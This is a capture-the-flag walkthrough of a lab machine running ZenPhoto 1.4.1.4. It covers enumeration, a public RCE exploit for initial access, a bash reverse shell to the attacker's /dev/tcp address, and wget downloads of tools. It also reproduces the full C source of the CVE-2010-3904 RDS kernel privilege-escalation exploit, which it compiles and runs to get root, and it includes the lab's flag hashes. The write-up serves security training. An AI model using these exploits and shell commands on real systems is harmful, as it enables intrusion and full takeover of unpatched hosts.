Summary #
On port 80 there is a website powered by ZENPHOTO 1.4.1.4
for which a public RCE exploit is available. This exploit provides initial access as the www-data
user. Once on the target we find out that the target is vulnerable for an ‘RDS Protocol’ Local Privilege Escalation kernel exploit (CVE-2010-3904). Running this kernel exploit allows us to escalate our privileges to the root
user.
Specifications #
- Name: ZENPHOTO
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux offsecsrv 2.6.32-21-generic #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 i686 GNU/Linux
- IP address: 192.168.178.41
- OFFSEC provided credentials: None
- HASH:
local.txt
:e99c83217e543621ac1faced90c22a53
- HASH:
proof.txt
:3031d2d23707b2a7bb5a7c514851e2c1
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir zenphoto && cd zenphoto && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 14 13:15 .
drwxrwxr-x 67 kali kali 4096 Sep 14 13:15 ..
drwxrwxr-x 2 kali kali 4096 Sep 14 13:15 enum
drwxrwxr-x 2 kali kali 4096 Sep 14 13:15 exploits
drwxrwxr-x 2 kali kali 4096 Sep 14 13:15 files
drwxrwxr-x 2 kali kali 4096 Sep 14 13:15 tools
drwxrwxr-x 2 kali kali 4096 Sep 14 13:15 uploads
## set bash variable
ip=192.168.178.41
## ping target to check if it's online
ping $ip
PING 192.168.178.41 (192.168.178.41) 56(84) bytes of data.
64 bytes from 192.168.178.41: icmp_seq=1 ttl=61 time=19.5 ms
64 bytes from 192.168.178.41: icmp_seq=2 ttl=61 time=17.5 ms
^C
--- 192.168.178.41 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 17.490/18.492/19.495/1.002 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
With RustScan, I scan ports so fast, even my firewall gets whiplash 💨
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.178.41:22
Open 192.168.178.41:23
Open 192.168.178.41:80
Open 192.168.178.41:3306
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 13:15 CEST
Initiating Ping Scan at 13:15
Scanning 192.168.178.41 [4 ports]
Completed Ping Scan at 13:15, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:15
Completed Parallel DNS resolution of 1 host. at 13:15, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:15
Scanning 192.168.178.41 [4 ports]
Discovered open port 3306/tcp on 192.168.178.41
Discovered open port 22/tcp on 192.168.178.41
Discovered open port 23/tcp on 192.168.178.41
Discovered open port 80/tcp on 192.168.178.41
Completed SYN Stealth Scan at 13:15, 0.05s elapsed (4 total ports)
Nmap scan report for 192.168.178.41
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-09-14 13:15:50 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
23/tcp open telnet syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
Raw packets sent: 8 (328B) | Rcvd: 5 (204B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
23/tcp open telnet syn-ack ttl 61
80/tcp open http syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,23,80,3306
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,23,80,3306 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 83:92:ab:f2:b7:6e:27:08:7b:a9:b8:72:32:8c:cc:29 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAIM3Qmxj/JapoH/Vg/pl8IAj0PTqw5Fj5rnhI+9Q0XT5tej5pHpUZoWTmbQKIwA7QBoTWtk4Hnonhkv5We43VXz0abBEvy3allgjf13cvxc96KX0bE7Bb8PhVCQJJBDTIz44koJhvFuSO/sauL9j+lzaUltVMR6/bZbigTINrV4nAAAAFQCvlVi2Us40FGWv8TILJYOR/LJvcwAAAIAHpp8VGuPUA5BowTa55myGr/lGs0xTFXbxFm0We4/D5v3L9kUVgv6MIVL4jweRmXFYvei7YZDGikoe6OjF9PFtSkKriEaGqav6hOER3tmtWChQfMlaNwiZfNJzKHBc4EqeCX4jpLLUxCZAEjwoE0koQRoFcbr+gywBNOQgtrfv+QAAAIA8v2C1COdjtNl4Bp3+XVLOkbYPIpedQXCgTLgRloa5wQZCaZimgE3+txqTQSb7Vp0B+LfjKdqcMFia8g9i+0YC+b69NimiFaZXU8euBoh/GXNo8K2vFHF3yznq6KNPG4+EW3WfaLGqJWkBJM2bb1nJ0YaJZhpOInv2Gsanh4CHOA==
| 2048 65:77:fa:50:fd:4d:9e:f1:67:e5:cc:0c:c6:96:f2:3e (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7aKskCBM7hdQEibRza0Y1BAiJ0prjECzVow5/txHOHb+Ynokd1ByaBw5roKsOExD3h7d7VGjNVKNqSwB+SBHSRivJaEgCtiV3F/5Q1qdBpehE4zyv7whG9GKeALeNk05icqXCk9kveUsreZyqEqN+c9p3Ed29jTD+6Alc7mml/Zev0EQs7hFfX/kYiV6V4KnQuQ7HXe3kzbMA9WB3yxtp0saBB5zlu4eWGsvyvCibP41ce81LtwkJDSXTr0LwBNYgZOD07GWW//BkOuJvHtKbWPqBievO0yubQxGbz0r7vID3a5DQMj4ZTGrAQPCunaJkGlvZs2zftrUh/BMxQSFLw==
23/tcp open ipp syn-ack ttl 61 CUPS 1.4
|_http-server-header: CUPS/1.4
|_http-title: 403 Forbidden
| http-methods:
| Supported Methods: GET HEAD OPTIONS POST PUT
|_ Potentially risky methods: PUT
80/tcp open http syn-ack ttl 61 Apache httpd 2.2.14 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.14 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
3306/tcp open mysql syn-ack ttl 61 MySQL (unauthorized)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.2.14 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.14 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
On port 80 there is a UNDER CONSTRUCTION
page.

Use gobuster
to look for interesting directories.
## use `gobuster` to look for interesting directories
gobuster dir -t 100 -u http://$ip:80/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt | tee enum/raft-large-dir-raw-80
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.178.41:80/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 75]
/test (Status: 301) [Size: 315] [--> http://192.168.178.41/test/]
/server-status (Status: 403) [Size: 295]
/index (Status: 200) [Size: 75]
===============================================================
Finished
===============================================================
When we browse to (http://192.168.178.41/test/
) we can see a Gallary
page powered by ZENPHOTO
. When we look at the source of this page there is at end of the file a version number: <!-- zenphoto version 1.4.1.4 [8157] (Official Build)
.

Using searchsploit we can find: ZenPhoto 1.4.1.4 - 'ajax_create_folder.php' Remote Code Execution
. We download this exploit and run it to get an initial shell on the target as the www-data
user in the /var/www/test/zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager/inc
directory.
## use searchsploit to find exploit
searchsploit zenphoto
------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------- ---------------------------------
ZenPhoto - 'admin-news-articles.php' Cross-Site Scripting | php/webapps/37903.txt
ZenPhoto - 'index.php' SQL Injection | php/webapps/38326.txt
ZenPhoto - Config Update / Command Execution | php/webapps/15114.php
ZenPhoto - SQL Injection | php/webapps/39062.txt
ZenPhoto 0.9/1.0 - 'i.php?a' Cross-Site Scripting | php/webapps/27795.txt
ZenPhoto 0.9/1.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabili | php/webapps/27796.txt
ZenPhoto 1.1.3 - 'rss.php?albumnr' SQL Injection | php/webapps/4823.pl
ZenPhoto 1.2.5 - Completely Blind SQL Injection | php/webapps/9154.js
ZenPhoto 1.3 - '/zp-core/admin.php' Multiple Cross-Site Scripting Vulner | php/webapps/34611.txt
ZenPhoto 1.3 - '/zp-core/full-image.php?a' SQL Injection | php/webapps/34610.txt
ZenPhoto 1.4.0.3 - '_zp_themeroot' Multiple Cross-Site Scripting Vulnera | php/webapps/35648.txt
ZenPhoto 1.4.0.3 - x-forwarded-for HTTP Header Persistent Cross-Site Scr | php/webapps/17200.txt
ZenPhoto 1.4.1.4 - 'ajax_create_folder.php' Remote Code Execution | php/webapps/18083.php
ZenPhoto 1.4.10 - Local File Inclusion | php/webapps/38841.txt
ZenPhoto 1.4.11 - Remote File Inclusion | php/webapps/39571.txt
ZenPhoto 1.4.3.3 - Multiple Vulnerabilities | php/webapps/22524.txt
ZenPhoto 1.4.8 - Multiple Vulnerabilities | php/webapps/37602.txt
Zenphoto 1.6 - Multiple stored XSS | php/webapps/51485.txt
ZenPhoto CMS 1.3 - Multiple Cross-Site Request Forgery Vulnerabilities | php/webapps/14359.html
ZenPhoto Gallery 1.2.5 - Admin Password Reset (Cross-Site Request Forger | php/webapps/9166.txt
------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
------------------------------------------------------------------------- ---------------------------------
Paper Title | Path
------------------------------------------------------------------------- ---------------------------------
MOAUB #26 - Zenphoto - Config Update / Command Execution | docs/english/15115-moaub-26---ze
------------------------------------------------------------------------- ---------------------------------
## change directory
cd exploits
## download exploit
searchsploit -m php/webapps/18083.php
Exploit: ZenPhoto 1.4.1.4 - 'ajax_create_folder.php' Remote Code Execution
URL: https://www.exploit-db.com/exploits/18083
Path: /usr/share/exploitdb/exploits/php/webapps/18083.php
Codes: OSVDB-76928, CVE-2011-4825
Verified: True
File Type: PHP script, ASCII text
Copied to: /home/kali/hk/offsec/pg/practice/zenphoto/exploits/18083.php
## run the exploit to get an initial shell
php 18083.php 192.168.178.41 /test/
+-----------------------------------------------------------+
| Zenphoto <= 1.4.1.4 Remote Code Execution Exploit by EgiX |
+-----------------------------------------------------------+
zenphoto-shell#
## print current user
zenphoto-shell# whoami
www-data
## print current working directory
zenphoto-shell# pwd
/var/www/test/zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager/inc
## find `local.txt` on the filesystem
zenphoto-shell# find / -iname 'local.txt' 2>/dev/null
/usr/share/checkbox/jobs/local.txt
/home/local.txt
## print `local.txt`
zenphoto-shell# cat /home/local.txt
e99c83217e543621ac1faced90c22a53
Privilege Escalation #
Use bash
to get a more normal shell and upgrade our shell using the python
binary.
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.211
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## on target:
## use bash to send a shell to our listener
zenphoto-shell# /bin/bash -c 'bash -i >& /dev/tcp/192.168.45.211/9001 0>&1'
## determine location script binary
which python
/usr/bin/python
## start the python binary, after that press CTRL+Z
python -c 'import pty; pty.spawn("/bin/bash")'
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
<p-extensions/tiny_mce/plugins/ajaxfilemanager/inc$ export TERM=xterm && stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.211
## start local webserver
python3 -m http.server 80
## on target
## change directory
www-data@offsecsrv:/var/www/test/zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager/inc$ cd /var/tmp
www-data@offsecsrv:/var/tmp$
## download `linpeas.sh`
www-data@offsecsrv:/var/tmp$ wget http://192.168.45.211/linpeas.sh
--2025-09-14 11:47:50-- http://192.168.45.211/linpeas.sh
Connecting to 192.168.45.211:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: `linpeas.sh'
0% [ 72% [======================================================================================================100%[==============================================================================================================================================================>] 961,834 2.67M/s in 0.3s
2025-09-14 11:47:51 (2.67 MB/s) - `linpeas.sh' saved [961834/961834]
## set the execution bit
www-data@offsecsrv:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
www-data@offsecsrv:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows the target is vulnerable for an ‘RDS Protocol’ Local Privilege Escalation kernel exploit (CVE-2010-3904). Searching online we can find https://www.exploit-db.com/exploits/15285.
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
/*
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
* CVE-2010-3904
* by Dan Rosenberg <drosenberg@vsecurity.com>
*
* Copyright 2010 Virtual Security Research, LLC
*
* The handling functions for sending and receiving RDS messages
* use unchecked __copy_*_user_inatomic functions without any
* access checks on user-provided pointers. As a result, by
* passing a kernel address as an iovec base address in recvmsg-style
* calls, a local user can overwrite arbitrary kernel memory, which
* can easily be used to escalate privileges to root. Alternatively,
* an arbitrary kernel read can be performed via sendmsg calls.
*
* This exploit is simple - it resolves a few kernel symbols,
* sets the security_ops to the default structure, then overwrites
* a function pointer (ptrace_traceme) in that structure to point
* to the payload. After triggering the payload, the original
* value is restored. Hard-coding the offset of this function
* pointer is a bit inelegant, but I wanted to keep it simple and
* architecture-independent (i.e. no inline assembly).
*
* The vulnerability is yet another example of why you shouldn't
* allow loading of random packet families unless you actually
* need them.
*
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
* joberheide, bla, sts, and VSR
*
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0) {
printf("[*] Could not open socket.\n");
exit(-1);
}
memset(&addr, 0, sizeof(addr));
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
if(ret < 0) {
printf("[*] Could not bind socket.\n");
exit(-1);
}
return s;
}
void get_message(unsigned long address, int sock)
{
recvfrom(sock, (void *)address, sizeof(void *), 0,
NULL, NULL);
}
void send_message(unsigned long value, int sock)
{
int size, ret;
struct sockaddr_in recvaddr;
struct msghdr msg;
struct iovec iov;
unsigned long buf;
memset(&recvaddr, 0, sizeof(recvaddr));
size = sizeof(recvaddr);
recvaddr.sin_port = htons(RECVPORT);
recvaddr.sin_family = AF_INET;
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
memset(&msg, 0, sizeof(msg));
msg.msg_name = &recvaddr;
msg.msg_namelen = sizeof(recvaddr);
msg.msg_iovlen = 1;
buf = value;
iov.iov_len = sizeof(buf);
iov.iov_base = &buf;
msg.msg_iov = &iov;
ret = sendmsg(sock, &msg, 0);
if(ret < 0) {
printf("[*] Something went wrong sending.\n");
exit(-1);
}
}
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{
if(!fork()) {
sleep(1);
send_message(value, sendsock);
exit(1);
}
else {
get_message(addr, recvsock);
wait(NULL);
}
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
int main(int argc, char * argv[])
{
unsigned long sec_ops, def_ops, cap_ptrace, target;
int sendsock, recvsock;
struct utsname ver;
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
printf("[*] by Dan Rosenberg\n");
uname(&ver);
if(strncmp(ver.release, "2.6.3", 5)) {
printf("[*] Your kernel is not vulnerable.\n");
return -1;
}
/* Resolve addresses of relevant symbols */
printf("[*] Resolving kernel addresses...\n");
sec_ops = get_kernel_sym("security_ops");
def_ops = get_kernel_sym("default_security_ops");
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
/* Calculate target */
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
sendsock = prep_sock(SENDPORT);
recvsock = prep_sock(RECVPORT);
/* Reset security ops */
printf("[*] Overwriting security ops...\n");
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
/* Overwrite ptrace_traceme security op fptr */
printf("[*] Overwriting function pointer...\n");
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
/* Trigger the payload */
printf("[*] Triggering payload...\n");
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
/* Restore the ptrace_traceme security op */
printf("[*] Restoring function pointer...\n");
write_to_mem(target, cap_ptrace, sendsock, recvsock);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] Got root!\n");
execl("/bin/sh", "sh", NULL);
}
Copy this exploit to a file called exploit.c
## change directory
cd exploits
## start a local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
## on target
## check for gcc compile
www-data@offsecsrv:/var/tmp$ which gcc
/usr/bin/gcc
## download the exploit
www-data@offsecsrv:/var/tmp$ wget http://192.168.45.211/exploit.c
--2025-09-14 11:56:50-- http://192.168.45.211/exploit.c
Connecting to 192.168.45.211:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6885 (6.7K) [text/x-csrc]
Saving to: `exploit.c'
0% [ 100%[==============================================================================================================================================================>] 6,885 --.-K/s in 0.02s
2025-09-14 11:56:51 (392 KB/s) - `exploit.c' saved [6885/6885]
## compile the `exploit.c` file
www-data@offsecsrv:/var/tmp$ gcc ./exploit.c -o exploit
## run the exploit
www-data@offsecsrv:/var/tmp$ ./exploit
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved security_ops to 0xc08c8c2c
[+] Resolved default_security_ops to 0xc0773300
[+] Resolved cap_ptrace_traceme to 0xc02f3dc0
[+] Resolved commit_creds to 0xc016dcc0
[+] Resolved prepare_kernel_cred to 0xc016e000
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!
#
## print current user
# whoami
root
## print `proof.txt`
# cat /root/proof.txt
3031d2d23707b2a7bb5a7c514851e2c1
References #
[+] https://www.exploit-db.com/exploits/18083
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://www.exploit-db.com/exploits/15285